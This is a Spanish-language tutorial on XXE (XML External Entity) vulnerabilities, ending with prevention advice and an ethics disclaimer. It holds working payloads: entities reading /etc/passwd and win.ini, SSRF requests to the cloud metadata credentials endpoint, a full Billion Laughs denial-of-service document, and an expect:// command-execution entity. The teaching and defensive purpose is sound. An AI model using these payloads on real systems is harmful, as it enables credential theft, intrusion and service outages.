XML External Entity (XXE): Vulnerabilidad en Procesamiento XML

La vulnerabilidad **XML External Entity (XXE)**, o "Entidad Externa XML", ocurre cuando un procesador de XML analiza un documento XML que contiene referencias a entidades externas sin las configuraciones de seguridad adecuadas. Esto permite a un atacante interferir con las aplicaciones que procesan datos XML, lo que puede llevar a la divulgación de información sensible, ataques de denegación de servicio (DoS), Server-Side Request Forgery (SSRF), e incluso a la ejecución remota de código en ciertas circunstancias.
XXE es una de las vulnerabilidades más críticas identificadas por OWASP en su Top 10.
¿Cómo Funcionan las Entidades Externas XML?
Los documentos XML pueden referenciar entidades externas, que son fragmentos de XML o cualquier otro tipo de datos que se cargan desde una ubicación externa (un archivo local, una URL). Las entidades externas se definen dentro de la Definición de Tipo de Documento (DTD) de un documento XML.
Un ataque XXE se produce cuando el procesador XML está configurado para permitir la resolución de entidades externas, y un atacante inserta una declaración de entidad maliciosa en el documento XML que se envía a la aplicación.
Ejemplo Básico de XXE (Lectura de Archivos):
Un atacante podría enviar una solicitud HTTP con un cuerpo XML como este:
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
Si la aplicación procesa este XML y el procesador de XML permite entidades externas, la entidad `&xxe;` intentará cargar el contenido del archivo `/etc/passwd` y lo insertará en la respuesta del servidor, exponiendo información sensible del sistema.
Tipos de Ataques XXE
1. Recuperación de Archivos y Directorios Locales (LFI / Información Disclosure)
Como el ejemplo anterior, se usa para leer archivos sensibles del servidor web o del sistema operativo.
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
<!ENTITY xxe SYSTEM "file:///dev/random" >
2. Server-Side Request Forgery (SSRF) con XXE
El atacante puede hacer que el servidor realice solicitudes a URLs arbitrarias, apuntando a recursos internos o externos, o escaneando puertos en la red interna.
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role" >
<!ENTITY xxe SYSTEM "http://localhost:8080/admin" >
3. Ataques de Denegación de Servicio (DoS)
Las vulnerabilidades XXE pueden ser explotadas para agotar los recursos del servidor mediante la expansión recursiva de entidades (Billion Laughs Attack) o la carga de archivos muy grandes.
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<doc>&lol9;</doc>
4. Ejecución Remota de Código (RCE)
Aunque no es un vector de ataque directo para XXE, puede ser posible si el procesador XML tiene módulos habilitados que permiten la ejecución de comandos (ej. el wrapper `expect://` en PHP, aunque está deshabilitado por defecto en versiones recientes).
<!ENTITY xxe SYSTEM "expect://id" >
Impacto de una Vulnerabilidad XXE
El impacto de un ataque XXE puede ser severo:
- **Divulgación de Datos Sensibles:** Credenciales, archivos de configuración, código fuente de la aplicación.
- **Acceso a la Red Interna:** Posibilidad de escanear y explotar otros sistemas dentro de la infraestructura de la organización.
- **Denegación de Servicio:** Interrupción de la disponibilidad de la aplicación o del servidor.
- **Ejecución de Código:** Si bien es menos común directamente, es el resultado más crítico.
Prevención de XXE
La defensa más efectiva contra XXE es la configuración adecuada de los procesadores XML. Los procesadores XML por defecto en muchas plataformas (Java, .NET, PHP, etc.) están diseñados para ser seguros por defecto en versiones modernas, pero esto debe ser verificado y, si es necesario, configurado explícitamente.
- **Deshabilitar Entidades Externas y DTDs:**
Esta es la medida más importante. Configura el parser XML para deshabilitar explícitamente el procesamiento de DTDs externas y entidades generales externas. Cómo hacerlo depende del lenguaje y la librería utilizada:
- **Java:** `factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);`
- **PHP:** `libxml_disable_entity_loader(true);`
- **.NET:** `XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit;`
Consulta la documentación específica de tu lenguaje y librería XML.
- **Validación de Entrada:**
Aunque no es la defensa principal, valida la entrada XML para asegurarte de que solo contiene los datos esperados y no estructuras inusuales (como declaraciones DOCTYPE) si no son necesarias.
- **Uso de Parsers XML Seguros:**
Utiliza versiones actualizadas de librerías de parseo XML. Algunas versiones antiguas tienen vulnerabilidades o configuraciones inseguras por defecto.
- **Principio de Mínimo Privilegio:**
Asegúrate de que la aplicación que procesa XML se ejecuta con los mínimos privilegios necesarios en el sistema operativo, limitando el daño si ocurre una explotación.
- **Web Application Firewalls (WAFs):**
Un WAF puede ayudar a detectar y bloquear patrones conocidos de ataques XXE, pero no debe ser la única línea de defensa.
Consideraciones Éticas
La información sobre XXE se proporciona con fines educativos y de concienciación sobre la seguridad. Intentar explotar esta vulnerabilidad en sistemas ajenos sin el permiso expreso del propietario es ilegal y puede tener consecuencias legales graves. Utiliza este conocimiento de forma responsable y ética, siempre en entornos de prueba autorizados y controlados.
¿Has tenido experiencia con la detección o mitigación de XXE? ¡Comparte tus consejos y herramientas favoritas en los comentarios!
La seguridad de la aplicación XML requiere una configuración cuidadosa del parser y un entendimiento de cómo interactúa la aplicación con los datos XML.